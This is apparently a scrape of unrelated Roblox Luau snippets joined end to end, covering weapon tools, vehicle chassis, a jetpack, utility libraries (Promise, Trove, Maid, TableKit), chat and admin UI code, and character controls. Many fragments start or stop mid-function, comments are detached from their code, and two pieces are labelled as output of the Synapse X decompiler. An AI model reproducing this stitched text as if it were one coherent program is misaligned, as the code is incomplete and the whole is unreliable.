Force.Parent = Torso end wait(0.25) if Torso and Torso.Parent then Force.velocity = (Torso.CFrame.lookVector * 120) + Vector3.new(0, 60, 0) end wait(0.5) if Force and Force.Parent then Force:Destroy() end wait(0.5) Damage = DamageValues.SlashDamage end Tool.Enabled = true LastAttack = 0 function Activated() if not Tool.Enabled then return end Tool.Enabled = false Tick = RunService.Stepped:wait() if (Tick - LastAttack < 0.2) then Lunge() else Attack() end LastAttack = Tick --wait(0.5) Tool.Enabled = true end function Equipped() Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChild("Humanoid") Torso = Character:FindFirstChild("Torso") if not Player or not Humanoid or Humanoid.Health == 0 or not Torso then return end Sounds.Unsheath:Play() end function Unequipped() end Tool.Activated:connect(Activated) Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped) Connection = Handle.Touched:connect(Blow)
--[[ VectorUtil.ClampMagnitude(vector, maxMagnitude) VectorUtil.AngleBetween(vector1, vector2) VectorUtil.AngleBetweenSigned(vector1, vector2, axisVector) EXAMPLES: ClampMagnitude: Clamps the magnitude of a vector so it is only a certain length. ClampMagnitude(Vector3.new(100, 0, 0), 15) == Vector3.new(15, 0, 0) ClampMagnitude(Vector3.new(10, 0, 0), 20) == Vector3.new(10, 0, 0) AngleBetween: Finds the angle (in radians) between two vectors. v1 = Vector3.new(10, 0, 0) v2 = Vector3.new(0, 10, 0) AngleBetween(v1, v2) == math.rad(90) AngleBetweenSigned: Same as AngleBetween, but returns a signed value. v1 = Vector3.new(10, 0, 0) v2 = Vector3.new(0, 0, -10) axis = Vector3.new(0, 1, 0) AngleBetweenSigned(v1, v2, axis) == math.rad(90) --]]
local VectorUtil = {} function VectorUtil.ClampMagnitude(vector, maxMagnitude) return (vector.Magnitude > maxMagnitude and (vector.Unit * maxMagnitude) or vector) end function VectorUtil.AngleBetween(vector1, vector2) return math.acos(math.clamp(vector1.Unit:Dot(vector2.Unit), -1, 1)) end function VectorUtil.AngleBetweenSigned(vector1, vector2, axisVector) local angle = VectorUtil.AngleBetween(vector1, vector2) return angle * math.sign(axisVector:Dot(vector1:Cross(vector2))) end function VectorUtil.SquaredMagnitude(vector) return vector.X^2+vector.Y^2+vector.Z^2 end return VectorUtil
--[[Drivetrain Initialize]]
local Front = bike.FrontSection local Rear = bike.RearSection --Determine Wheel Size local wDia = 0 wDia = Rear.Wheel.Size.Y --Pre-Toggled PBrake if math.abs(Front.Axle.HingeConstraint.MotorMaxTorque-PBrakeForce)<1 then _PBrake=true end
-- Decompiled with the Synapse X Luau decompiler.
return { Coins = { canDrop = true, dropWeight = 75, isUnique = false, tiers = { { title = "Coins I", desc = "Pet earns +15% more Regular Coins", value = 1.15 }, { title = "Coins II", desc = "Pet earns +30% more Regular Coins", value = 1.3 }, { title = "Coins III", desc = "Pet earns +50% more Regular Coins", value = 1.5 }, { title = "Coins IV", desc = "Pet earns +75% more Regular Coins", value = 1.75 }, { title = "Coins V", desc = "Pet earns +100% more Regular Coins", value = 2 } } } };
--for _, item in ipairs(Shield:GetChildren()) do -- if item:IsA("BasePart") == true and item:FindFirstChild("Ignore") == nil then -- item.Touched:connect(function(Hit) -- if Hit == nil then return end -- if Hit.Parent == nil then return end -- -- local Item = Hit.Parent -- -- if Item:IsA("Tool") == true then return end -- if Hit.Name == "Torso" then return end -- if Hit.Name == "HumanoidRootPart" then return end -- if Hit.Name == "Left Leg" then return end -- if Hit.Name == "Right Leg" then return end -- if Hit.Name == "Head" then return end -- if Hit.Name == "Left Arm" then return end -- if Hit.Name == "Right Arm" then return end -- -- if Game:GetService("Players"):GetPlayerFromCharacter(Item) ~= nil then return end -- -- for _, x in ipairs(Hit:GetChildren()) do -- if x:IsA("TouchTransmitter") == true then x:Destroy() break end -- end -- -- if Item.Name == "ShadowGrab" then -- Health = Health - (MaxHealth / 12) -- -- HealthBar.Shield.Bar:TweenSize(UDim2.new((Health / MaxHealth), 0, 1, 0), Enum.EasingDirection.In, Enum.EasingStyle.Linear, 0.5, true) -- -- Item:Destroy() -- -- if Health > 0 then -- -- yay, still alive. -- else -- HealthBar.Parent.Parent:Destroy() -- end -- end -- end) -- end --end
function CreateRegion3FromLocAndSize(Position, Size) local SizeOffset = Size / 2 local Point1 = Position - SizeOffset local Point2 = Position + SizeOffset return Region3.new(Point1, Point2) end function FindNear(part, radius) local r = CreateRegion3FromLocAndSize(part.Position, Vector3.new(part.Size.X + radius, 50, part.Size.Z + radius)) return Game:GetService("Workspace"):FindPartsInRegion3(r, part, 100) end while true do for _, x in ipairs(Shield:GetChildren()) do if x:IsA("BasePart") == true and x.Name ~= "Overhead" and x:FindFirstChild("Ignore") == nil then for _, item in ipairs(FindNear(x, 15)) do if item:IsA("BasePart") == true then local own, dmg = GetOwnerAndDamage(item) if own ~= nil and dmg ~= nil and item:FindFirstChild("Pierce") == nil then if (item.Position - x.Position).magnitude <= 15 and item ~= x then if Health > 0 then if Health >= dmg then Health = Health - dmg HealthBar.Shield.Bar:TweenSize(UDim2.new((Health / MaxHealth), 0, 1, 0), Enum.EasingDirection.In, Enum.EasingStyle.Linear, 0.5, true) for _, b in ipairs(item:GetChildren()) do if b:IsA("TouchTransmitter") == true then b:Destroy() end end item:Destroy() if Health > 0 then -- yay, still alive. else HealthBar.Parent.Parent:Destroy() end else HealthBar.Parent.Parent:Destroy() end else HealthBar.Parent.Parent:Destroy() end end end end end end end Game:GetService("RunService").Stepped:wait() end
--[=[ @param instance Instance @return Promise ]=]
function PromiseInstanceUtils.promiseRemoved(instance) assert(instance:IsDescendantOf(game)) local maid = Maid.new() local promise = Promise.new() maid:GiveTask(instance.AncestryChanged:Connect(function(_, parent) if not parent then promise:Resolve() end end)) promise:Finally(function() maid:DoCleaning() end) return promise end return PromiseInstanceUtils
-- Trove -- Stephen Leitnick -- October 16, 2021
local FN_MARKER = newproxy() local THREAD_MARKER = newproxy() local RunService = game:GetService("RunService") local function GetObjectCleanupFunction(object, cleanupMethod) local t = typeof(object) if t == "function" then return FN_MARKER elseif t == "thread" then return THREAD_MARKER end if cleanupMethod then return cleanupMethod end if t == "Instance" then return "Destroy" elseif t == "RBXScriptConnection" then return "Disconnect" elseif t == "table" then if typeof(object.Destroy) == "function" then return "Destroy" elseif typeof(object.Disconnect) == "function" then return "Disconnect" end end error("Failed to get cleanup function for object " .. t .. ": " .. tostring(object), 3) end local function AssertPromiseLike(object) if type(object) ~= "table" or type(object.getStatus) ~= "function" or type(object.finally) ~= "function" or type(object.cancel) ~= "function" then error("Did not receive a Promise as an argument", 3) end end
-- ================================================================================ -- EVENTS -- ================================================================================
local onRaceStartedEvent = Instance.new("BindableEvent") RaceModule.RaceStarted = onRaceStartedEvent.Event local onRaceFinishedEvent = Instance.new("BindableEvent") RaceModule.RaceFinished = onRaceFinishedEvent.Event RaceModule.OnRaceFinishedEvent = onRaceFinishedEvent local onLapStartedEvent = Instance.new("BindableEvent") RaceModule.LapStarted = onLapStartedEvent.Event local onLapFinishedEvent = Instance.new("BindableEvent") RaceModule.LapFinished = onLapFinishedEvent.Event local onIntermissionStartedEvent = Instance.new("BindableEvent") RaceModule.IntermissionStarted = onIntermissionStartedEvent.Event local onCheckpointPassedEvent = Instance.new("BindableEvent") RaceModule.CheckpointPassed = onCheckpointPassedEvent.Event
-- ROBLOX deviation END
exports.default = function(snapshots: SnapshotSummary, globalConfig: Config_GlobalConfig, updateCommand: string) local summary = {} table.insert(summary, SNAPSHOT_SUMMARY("Snapshot Summary")) if Boolean.toJSBoolean(snapshots.added) then table.insert( summary, SNAPSHOT_ADDED(ARROW .. pluralize("snapshot", snapshots.added) .. " written ") .. "from " .. pluralize("test suite", snapshots.filesAdded) .. "." ) end if Boolean.toJSBoolean(snapshots.unmatched) then table.insert( summary, FAIL_COLOR(ARROW .. pluralize("snapshot", snapshots.unmatched) .. " failed") .. " from " .. pluralize("test suite", snapshots.filesUnmatched) .. ". " .. SNAPSHOT_NOTE("Inspect your code changes or " .. updateCommand .. " to update them.") ) end if Boolean.toJSBoolean(snapshots.updated) then table.insert( summary, SNAPSHOT_UPDATED(ARROW .. pluralize("snapshot", snapshots.updated) .. " updated ") .. "from " .. pluralize("test suite", snapshots.filesUpdated) .. "." ) end if Boolean.toJSBoolean(snapshots.filesRemoved) then if snapshots.didUpdate then table.insert( summary, SNAPSHOT_REMOVED(ARROW .. pluralize("snapshot file", snapshots.filesRemoved) .. " removed ") .. "from " .. pluralize("test suite", snapshots.filesRemoved) .. "." ) else table.insert( summary, OBSOLETE_COLOR(ARROW .. pluralize("snapshot file", snapshots.filesRemoved) .. " obsolete ") .. "from " .. pluralize("test suite", snapshots.filesRemoved) .. ". " .. SNAPSHOT_NOTE( "To remove " .. (if snapshots.filesRemoved == 1 then "it" else "them all") .. ", " .. updateCommand .. "." ) ) end end if snapshots.filesRemovedList and #snapshots.filesRemovedList > 0 then local head = snapshots.filesRemovedList[1] local tail = table.pack(table.unpack(snapshots.filesRemovedList, 2)) table.insert(summary, " " .. DOWN_ARROW .. " " .. DOT .. formatTestPath(globalConfig, head)) Array.forEach(tail, function(key) table.insert(summary, " " .. DOT .. formatTestPath(globalConfig, key)) end) end if Boolean.toJSBoolean(snapshots.unchecked) then if snapshots.didUpdate then table.insert( summary, SNAPSHOT_REMOVED(ARROW .. pluralize("snapshot", snapshots.unchecked) .. " removed ") .. "from " .. pluralize("test suite", #snapshots.uncheckedKeysByFile) .. "." ) else table.insert( summary, OBSOLETE_COLOR(ARROW .. pluralize("snapshot", snapshots.unchecked) .. " obsolete ") .. "from " .. pluralize("test suite", #snapshots.uncheckedKeysByFile) .. ". " .. SNAPSHOT_NOTE( "To remove " .. (if snapshots.unchecked == 1 then "it" else "them all") .. ", " .. updateCommand .. "." ) ) end end Array.forEach(snapshots.uncheckedKeysByFile, function(uncheckedFile) table.insert(summary, " " .. DOWN_ARROW .. formatTestPath(globalConfig, uncheckedFile.filePath)) Array.forEach(uncheckedFile.keys, function(key) table.insert(summary, " " .. DOT .. key) end) end) return summary end return exports
--// This section of code waits until all of the necessary RemoteEvents are found in EventFolder. --// I have to do some weird stuff since people could potentially already have pre-existing --// things in a folder with the same name, and they may have different class types. --// I do the useEvents thing and set EventFolder to useEvents so I can have a pseudo folder that --// the rest of the code can interface with and have the guarantee that the RemoteEvents they want --// exist with their desired names.
local FILTER_MESSAGE_TIMEOUT = 60 local RunService = game:GetService("RunService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local Chat = game:GetService("Chat") local StarterGui = game:GetService("StarterGui") local DefaultChatSystemChatEvents = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents") local EventFolder = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents") local clientChatModules = Chat:WaitForChild("ClientChatModules") local ChatConstants = require(clientChatModules:WaitForChild("ChatConstants")) local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings")) local messageCreatorModules = clientChatModules:WaitForChild("MessageCreatorModules") local MessageCreatorUtil = require(messageCreatorModules:WaitForChild("Util")) local ChatLocalization = nil pcall(function() ChatLocalization = require(game:GetService("Chat").ClientChatModules.ChatLocalization) end) if ChatLocalization == nil then ChatLocalization = {} function ChatLocalization:Get(key,default) return default end end local numChildrenRemaining = 10 -- #waitChildren returns 0 because it's a dictionary local waitChildren = { OnNewMessage = "RemoteEvent", OnMessageDoneFiltering = "RemoteEvent", OnNewSystemMessage = "RemoteEvent", OnChannelJoined = "RemoteEvent", OnChannelLeft = "RemoteEvent", OnMuted = "RemoteEvent", OnUnmuted = "RemoteEvent", OnMainChannelSet = "RemoteEvent", SayMessageRequest = "RemoteEvent", GetInitDataRequest = "RemoteFunction", }
-- Please read the help script before editing below, unless you know what you're doing!
local PlayerName = game.Players.LocalPlayer.Name local GameName = game.Name local CreatorName = game.CreatorId script.Parent.Title1.Text = 'Hello, '..PlayerName..'!' script.Parent.Title2.Text = 'Welcome to '..GameName..'!'
-- Decompiled with the Synapse X Luau decompiler.
client = nil; service = nil; return function(p1) local v1 = client.UI.Make("Window", { Name = "Terminal", Title = "Terminal", Icon = client.MatIcons.Code, Size = { 500, 300 }, AllowMultiple = false, OnClose = function() end }); local v2 = v1:Add("ScrollingFrame", { Size = UDim2.new(1, -10, 1, -40), BackgroundTransparency = 1, List = {} }); local v3 = v1:Add("TextBox", { Text = "", Size = UDim2.new(1, 0, 0, 30), Position = UDim2.new(0, 0, 1, -30), PlaceholderText = "Enter command", TextXAlignment = "Left", ClearTextOnFocus = false }); v3:Add("UIPadding", { PaddingLeft = UDim.new(0, 6) }); local function u1(p2, p3) table.insert(p3, p2); if #p3 > 500 then table.remove(p3, 1); end; end; local u2 = {}; v1:BindEvent(service.Events.TerminalLive, function(p4) local l__Type__4 = p4.Type; u1(p4.Data, u2); end); v3.FocusLost:Connect(function(p5) service.Debounce("_TERMINAL_BOX_FOCUSLOST", function() if p5 and v3.Text ~= "" and v3.Text ~= "Enter command" then local l__Text__5 = v3.Text; v3.Text = ""; u1(">" .. l__Text__5, u2); local v6 = client.Remote.Get("Terminal", l__Text__5, { Time = time() }); if v6 and type(v6) == "table" then for v7, v8 in ipairs(v6) do u1(v8, u2); end; end; v3:CaptureFocus(); end; wait(0.1); end); end); v1:Ready(); local v9 = 0; while v1.gTable.Active and wait(0.5) do if v9 < #u2 then v9 = #u2; v2:GenerateList(u2, nil, true); end; end; end;
--[[Driver Handling]]
--Driver Sit car.DriveSeat.ChildAdded:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then --Distribute Client Interface local p=game.Players:GetPlayerFromCharacter(child.Part1.Parent) car.DriveSeat:SetNetworkOwner(p) local g=script.Parent["A-Chassis Interface"]:Clone() g.Parent=p.PlayerGui end end) --Driver Leave car.DriveSeat.ChildRemoved:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") then --Remove Flip Force if car.DriveSeat:FindFirstChild("Flip")~=nil then car.DriveSeat.Flip.MaxTorque = Vector3.new() end --Remove Wheel Force for i,v in pairs(car.Wheels:GetChildren()) do if v:FindFirstChild("#AV")~=nil then if v["#AV"]:IsA("BodyAngularVelocity") then if v["#AV"].AngularVelocity.Magnitude>0 then v["#AV"].AngularVelocity = Vector3.new() v["#AV"].MaxTorque = Vector3.new() end else if v["#AV"].AngularVelocity>0 then v["#AV"].AngularVelocity = 0 v["#AV"].MotorMaxTorque = 0 end end end end end end)
-- functions
function stopAllAnimations() local oldAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then oldAnim = "idle" end currentAnim = "" if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end if (oldAnimTrack ~= nil) then oldAnimTrack:Stop() oldAnimTrack:Destroy() oldAnimTrack = nil end if (currentAnimTrack ~= nil) then currentAnimTrack:Stop() currentAnimTrack:Destroy() currentAnimTrack = nil end return oldAnim end function setAnimationSpeed(speed) if speed ~= currentAnimSpeed then currentAnimSpeed = speed currentAnimTrack:AdjustSpeed(currentAnimSpeed) end end function keyFrameReachedFunc(frameName) if (frameName == "End") then
-- Gui
local DisplayGui = script:WaitForChild("DisplayGui") local ColorGui = script:WaitForChild("ColorGui") local NewDisplayGui = nil local NewColorGui = nil function UndoSettings(Folder) for _,v in pairs(Folder:GetChildren()) do if v:IsA("NumberValue") or v:IsA("IntValue") then v.Value = 0 elseif v:IsA("ObjectValue") and v.Name ~= "SpawnedSegway" then v.Value = nil end end end function RemoveSegway() -- Remove segway DestroySegway:FireServer(Character,SpawnedSegway) -- Reset camera Camera.CameraType = "Custom" -- Show tool ConfigTool:FireServer(0,Tool,false,nil) -- Undo tags anyway HasSpawnedSegway.Value = false -- UnPlatformStand player ConfigHumanoid:FireServer(Humanoid,false,false,true) -- If player has the segway controller script, we'll reset its settings if PlayerGui:FindFirstChild("GuiControls") then -- Remove mobile gui PlayerGui:FindFirstChild("GuiControls").Parent = script end UserInputService.ModalEnabled = false UndoSettings(ToolStatus) end
-- << VERSION >> -- Do not change this, or the Admin Commands may break
local Version = 1.0 return{{VIPs,Mods,Admins,HeadAdmins},Settings,Banned,Groups,Group_Permissions,Assets,Asset_Permissions,CommandPermissions,Version}
--[=[ Constructs a new DataStore. See [DataStoreStage] for more API. @param robloxDataStore DataStore @param key string ]=]
function DataStore.new(robloxDataStore, key) local self = setmetatable(DataStoreStage.new(), DataStore) self._key = key or error("No key") self._robloxDataStore = robloxDataStore or error("No robloxDataStore")
-- [Head, Torso, HumanoidRootPart], "Torso" and "UpperTorso" works with both R6 and R15. -- Also make sure to not misspell it.
local PartToLookAt = "Head" -- What should the npc look at. If player doesn't has the specific part it'll looks for RootPart instead. local LookBackOnNil = true -- Should the npc look at back straight when player is out of range. local SearchLoc = {workspace} -- Will get player from these locations
--// Damage Settings
BaseDamage = 33; -- Torso Damage LimbDamage = 27; -- Arms and Legs ArmorDamage = 14; -- How much damage is dealt against armor (Name the armor "Armor") HeadDamage = 72; -- If you set this to 100, there's a chance the player won't die because of the heal script
--while Tool == nil do -- Tool = script.Parent -- wait(.5) --end
local mass = 0 local player = nil local equalizingForce = 236 / 1.2 -- amount of force required to levitate a mass local gravity = 5 -- things float at > 1 local moving = false local maxFuel = 1000 while Tool == nil do Tool = script.Parent wait(.5) end local currfuel = Tool:FindFirstChild("CurrFuel") while currfuel == nil do Tool = script.Parent currfuel = Tool:FindFirstChild("CurrFuel") wait(.5) end local fuel = Tool.CurrFuel.Value local gui = nil local anim = nil local jetPack = nil local regen = false local force = Instance.new("BodyVelocity") force.velocity = Vector3.new(0,0,0) local bodyGyro = Instance.new("BodyGyro") bodyGyro.P = 20000 bodyGyro.D = 8000 bodyGyro.maxTorque = Vector3.new(bodyGyro.P,bodyGyro.P,bodyGyro.P) local cam = nil local Flame = nil function onEquippedLocal(mouse) player = Tool.Parent while player.Name == "Backpack" do player = Tool.Parent wait(.5) end equipPack() mass = recursiveGetLift(player) force.P = mass * 10 force.maxForce = Vector3.new(0,force.P,0) mouse.Button1Down:connect(thrust) mouse.Button1Up:connect(cutEngine) cam = game.Workspace.CurrentCamera anim = player.Humanoid:LoadAnimation(Tool.standstill) anim:Play() gui = Tool.FuelGui:clone() updateGUI() gui.Parent = game.Players:GetPlayerFromCharacter(player).PlayerGui regen = true regenFuel() end function equipPack() jetPack = Tool.Handle:clone() jetPack.CanCollide = false jetPack.Name = "JetPack" jetPack.Parent = game.Workspace Tool.Handle.Transparency = 1 local welder = Instance.new("Weld") welder.Part0 = jetPack welder.Part1 = player.UpperTorso welder.C0 = CFrame.new(Vector3.new(0,0,-1)) welder.Parent = jetPack Flame = Instance.new("Part") Flame.Name = "Flame" Flame.Transparency =1 Flame.CanCollide = false Flame.Locked = true Flame.formFactor = 2 Flame.Size = Vector3.new(1,0.4,1) Flame.Parent = jetPack local Fire = Instance.new("Fire") Fire.Heat = -12 Fire.Size = 4 Fire.Enabled = false Fire.Parent = Flame local firer = Instance.new("Weld") firer.Part0 = jetPack.Flame firer.Part1 = jetPack firer.C0 = CFrame.new(Vector3.new(0,2,0)) firer.Parent = jetPack.Flame end function updateGUI() gui.Frame.Size = UDim2.new(0,40,0,300 * (Tool.CurrFuel.Value/maxFuel)) gui.Frame.Position = UDim2.new(0.9,0,0.2 + (0.2 * ((maxFuel - Tool.CurrFuel.Value)/maxFuel)),0) end function onUnequippedLocal() regen = false if force ~= nil then force:remove() end if bodyGyro ~= nil then bodyGyro:remove() end if anim ~= nil then anim:Stop() anim:remove() end if gui ~= nil then gui:remove() end if jetPack ~= nil then jetPack:remove() jetPack = nil end Tool.Handle.Transparency = 0 end Tool.Equipped:connect(onEquippedLocal) Tool.Unequipped:connect(onUnequippedLocal) function thrust() if fuel > 0 then thrusting = true force.Parent = player.UpperTorso jetPack.Flame.Fire.Enabled = true Tool.Handle.InitialThrust:Play() bodyGyro.Parent = player.UpperTorso while thrusting do bodyGyro.cframe = cam.CoordinateFrame force.velocity = Vector3.new(0,cam.CoordinateFrame.lookVector.unit.y,0) * 50 fuel = fuel - 1 Tool.CurrFuel.Value = fuel if fuel <= 0 then Tool.Handle.EngineFail:Play() cutEngine() end updateGUI() wait() Tool.Handle.Thrusting:Play() if fuel <= 200 then Tool.Handle.LowFuelWarning:Play() end end Tool.Handle.Thrusting:Stop() Tool.Handle.LowFuelWarning:Stop() end end function cutEngine() thrusting = false jetPack.Flame.Fire.Enabled = false force.velocity = Vector3.new(0,0,0) force.Parent = nil anim:Stop() bodyGyro.Parent = nil end local head = nil function recursiveGetLift(node) local m = 0 local c = node:GetChildren() if (node:FindFirstChild("Head") ~= nil) then head = node:FindFirstChild("Head") end -- nasty hack to detect when your parts get blown off for i=1,#c do if c[i].className == "Part" then if (head ~= nil and (c[i].Position - head.Position).magnitude < 10) then -- GROSS if c[i].Name == "Handle" then m = m + (c[i]:GetMass() * equalizingForce * 1) -- hack that makes hats weightless, so different hats don't change your jump height else m = m + (c[i]:GetMass() * equalizingForce * gravity) end end end m = m + recursiveGetLift(c[i]) end return m end function regenFuel() while regen do if fuel < maxFuel then fuel = fuel + 1 Tool.CurrFuel.Value = fuel updateGUI() end wait(0.2) end end
-- Quero um pouco de credito,plox :P -- -- FEITO 100% POR SCORPION -- -- Oficial Release 1.5 --
--[[ The Module ]]
-- local BaseCharacterController = require(script.Parent:WaitForChild("BaseCharacterController")) local Keyboard = setmetatable({}, BaseCharacterController) Keyboard.__index = Keyboard function Keyboard.new(CONTROL_ACTION_PRIORITY) local self = setmetatable(BaseCharacterController.new() :: any, Keyboard) self.CONTROL_ACTION_PRIORITY = CONTROL_ACTION_PRIORITY self.textFocusReleasedConn = nil self.textFocusGainedConn = nil self.windowFocusReleasedConn = nil self.forwardValue = 0 self.backwardValue = 0 self.leftValue = 0 self.rightValue = 0 self.jumpEnabled = true return self end function Keyboard:Enable(enable: boolean) if not UserInputService.KeyboardEnabled then return false end if enable == self.enabled then -- Module is already in the state being requested. True is returned here since the module will be in the state -- expected by the code that follows the Enable() call. This makes more sense than returning false to indicate -- no action was necessary. False indicates failure to be in requested/expected state. return true end self.forwardValue = 0 self.backwardValue = 0 self.leftValue = 0 self.rightValue = 0 self.moveVector = ZERO_VECTOR3 self.jumpRequested = false self:UpdateJump() if enable then self:BindContextActions() self:ConnectFocusEventListeners() else self:UnbindContextActions() self:DisconnectFocusEventListeners() end self.enabled = enable return true end function Keyboard:UpdateMovement(inputState) if inputState == Enum.UserInputState.Cancel then self.moveVector = ZERO_VECTOR3 else self.moveVector = Vector3.new(self.leftValue + self.rightValue, 0, self.forwardValue + self.backwardValue) end end function Keyboard:UpdateJump() self.isJumping = self.jumpRequested end function Keyboard:BindContextActions() -- Note: In the previous version of this code, the movement values were not zeroed-out on UserInputState. Cancel, now they are, -- which fixes them from getting stuck on. -- We return ContextActionResult.Pass here for legacy reasons. -- Many games rely on gameProcessedEvent being false on UserInputService.InputBegan for these control actions. local handleMoveForward = function(actionName, inputState, inputObject) self.forwardValue = (inputState == Enum.UserInputState.Begin) and -1 or 0 self:UpdateMovement(inputState) return Enum.ContextActionResult.Pass end local handleMoveBackward = function(actionName, inputState, inputObject) self.backwardValue = (inputState == Enum.UserInputState.Begin) and 1 or 0 self:UpdateMovement(inputState) return Enum.ContextActionResult.Pass end local handleMoveLeft = function(actionName, inputState, inputObject) self.leftValue = (inputState == Enum.UserInputState.Begin) and -1 or 0 self:UpdateMovement(inputState) return Enum.ContextActionResult.Pass end local handleMoveRight = function(actionName, inputState, inputObject) self.rightValue = (inputState == Enum.UserInputState.Begin) and 1 or 0 self:UpdateMovement(inputState) return Enum.ContextActionResult.Pass end local handleJumpAction = function(actionName, inputState, inputObject) self.jumpRequested = self.jumpEnabled and (inputState == Enum.UserInputState.Begin) self:UpdateJump() return Enum.ContextActionResult.Pass end -- TODO: Revert to KeyCode bindings so that in the future the abstraction layer from actual keys to -- movement direction is done in Lua ContextActionService:BindActionAtPriority("moveForwardAction", handleMoveForward, false, self.CONTROL_ACTION_PRIORITY, Enum.PlayerActions.CharacterForward) ContextActionService:BindActionAtPriority("moveBackwardAction", handleMoveBackward, false, self.CONTROL_ACTION_PRIORITY, Enum.PlayerActions.CharacterBackward) ContextActionService:BindActionAtPriority("moveLeftAction", handleMoveLeft, false, self.CONTROL_ACTION_PRIORITY, Enum.PlayerActions.CharacterLeft) ContextActionService:BindActionAtPriority("moveRightAction", handleMoveRight, false, self.CONTROL_ACTION_PRIORITY, Enum.PlayerActions.CharacterRight) ContextActionService:BindActionAtPriority("jumpAction", handleJumpAction, false, self.CONTROL_ACTION_PRIORITY, Enum.PlayerActions.CharacterJump) end function Keyboard:UnbindContextActions() ContextActionService:UnbindAction("moveForwardAction") ContextActionService:UnbindAction("moveBackwardAction") ContextActionService:UnbindAction("moveLeftAction") ContextActionService:UnbindAction("moveRightAction") ContextActionService:UnbindAction("jumpAction") end function Keyboard:ConnectFocusEventListeners() local function onFocusReleased() self.moveVector = ZERO_VECTOR3 self.forwardValue = 0 self.backwardValue = 0 self.leftValue = 0 self.rightValue = 0 self.jumpRequested = false self:UpdateJump() end local function onTextFocusGained(textboxFocused) self.jumpRequested = false self:UpdateJump() end self.textFocusReleasedConn = UserInputService.TextBoxFocusReleased:Connect(onFocusReleased) self.textFocusGainedConn = UserInputService.TextBoxFocused:Connect(onTextFocusGained) self.windowFocusReleasedConn = UserInputService.WindowFocused:Connect(onFocusReleased) end function Keyboard:DisconnectFocusEventListeners() if self.textFocusReleasedConn then self.textFocusReleasedConn:Disconnect() self.textFocusReleasedConn = nil end if self.textFocusGainedConn then self.textFocusGainedConn:Disconnect() self.textFocusGainedConn = nil end if self.windowFocusReleasedConn then self.windowFocusReleasedConn:Disconnect() self.windowFocusReleasedConn = nil end end return Keyboard
--[=[ Set a handler that will be called regardless of the promise's fate. The handler is called when the promise is resolved, rejected, *or* cancelled. Returns a new promise chained from this promise. :::caution If the Promise is cancelled, any Promises chained off of it with `andThen` won't run. Only Promises chained with `finally` or `done` will run in the case of cancellation. ::: ```lua local thing = createSomething() doSomethingWith(thing) :andThen(function() print("It worked!") -- do something.. end) :catch(function() warn("Oh no it failed!") end) :finally(function() -- either way, destroy thing thing:Destroy() end) ``` @param finallyHandler (status: Status) -> ...any @return Promise<...any> ]=]
function Promise.prototype:finally(finallyHandler) assert(finallyHandler == nil or isCallable(finallyHandler), string.format(ERROR_NON_FUNCTION, "Promise:finally")) return self:_finally(debug.traceback(nil, 2), finallyHandler) end
--[=[ This function returns a table with the keys of the passed dictionary. ```lua local Dictionary = { A = 1, B = 2, C = 3, } print(TableKit.Keys(Dictionary)) -- prints {"A", "B", "C"} ``` @within TableKit @param dictionary table @return table ]=]
function TableKit.Keys(dictionary: { [unknown]: unknown }): { unknown } local keyArray = {} for key in dictionary do table.insert(keyArray, key) end return keyArray end
--Change the ID of the "ClickSound" to anything you want to be your click sound!
--| Main |--
Tool.Activated:Connect(function() if State.Value == "None" then State.Value = "PhongDev" --| Fov |-- spawn(function() local Properties = {FieldOfView = DFOV - 20} local Info = TweenInfo.new(0.25,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0.1) local Tween = TS:Create(game.Workspace.CurrentCamera,Info,Properties) Tween:Play() wait(2.1) local Properties = {FieldOfView = DFOV + 30} local Info = TweenInfo.new(0.25,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0.1) local Tween = TS:Create(game.Workspace.CurrentCamera,Info,Properties) Tween:Play() task.wait(0.8) local Properties = {FieldOfView = DFOV} local Info = TweenInfo.new(0.25,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0.1) local Tween = TS:Create(game.Workspace.CurrentCamera,Info,Properties) Tween:Play() end) --| Cam Shake |-- delay(1, function() local CameraShaker = require(game.ReplicatedStorage.Access.Modules.CameraShaker) local camshake = CameraShaker.new(Enum.RenderPriority.Camera.Value,function(shakeCFrame) Camera.CFrame = Camera.CFrame * shakeCFrame end) camshake:Start() camshake:Shake(CameraShaker.Presets.Earthquake) wait(1.05) camshake:Stop() local CameraShaker = require(game.ReplicatedStorage.Access.Modules.CameraShaker) local camshake = CameraShaker.new(Enum.RenderPriority.Camera.Value,function(shakeCFrame) Camera.CFrame = Camera.CFrame * shakeCFrame end) camshake:Start() camshake:Shake(CameraShaker.Presets.Explosion) end) --| Color Screen |-- delay(2.05, function() local Color = Instance.new("ColorCorrectionEffect") Color.Parent = game.Lighting Color.Brightness = 1 Color.Contrast = 1 Debris:AddItem(Color, 0.2) local ColorTween = TS:Create(Color, Info, {TintColor = Color3.new(0, 0.690196, 0), Contrast = 0}) ColorTween:Play() end) --| Function on Players |-- --| Auto Rotate |-- spawn(function() Humanoid.AutoRotate = false wait(3.30) Humanoid.AutoRotate = true end) ------------------------------ --| Remote |-- Remotes.PhongDev:FireServer() ------------------------------ --| Cooldown |-- delay(4, function() wait(Cooldown.Value) State.Value = "None" end) end end)
-- Public Methods
function MaidClass:Mark(item) local tof = typeof(item) if DESTRUCTORS[tof] then self.Trash[item] = tof else error(FORMAT_STR:format(tof), 2) end end function MaidClass:Unmark(item) if item then self.Trash[item] = nil else self.Trash = {} end end function MaidClass:Sweep() for item, tof in pairs(self.Trash) do DESTRUCTORS[tof](item) end self.Trash = {} end MaidClass.Destroy = MaidClass.Sweep MaidClass.mark = MaidClass.Mark MaidClass.unmark = MaidClass.Unmark MaidClass.sweep = MaidClass.Sweep MaidClass.destroy = MaidClass.Sweep
-- functions
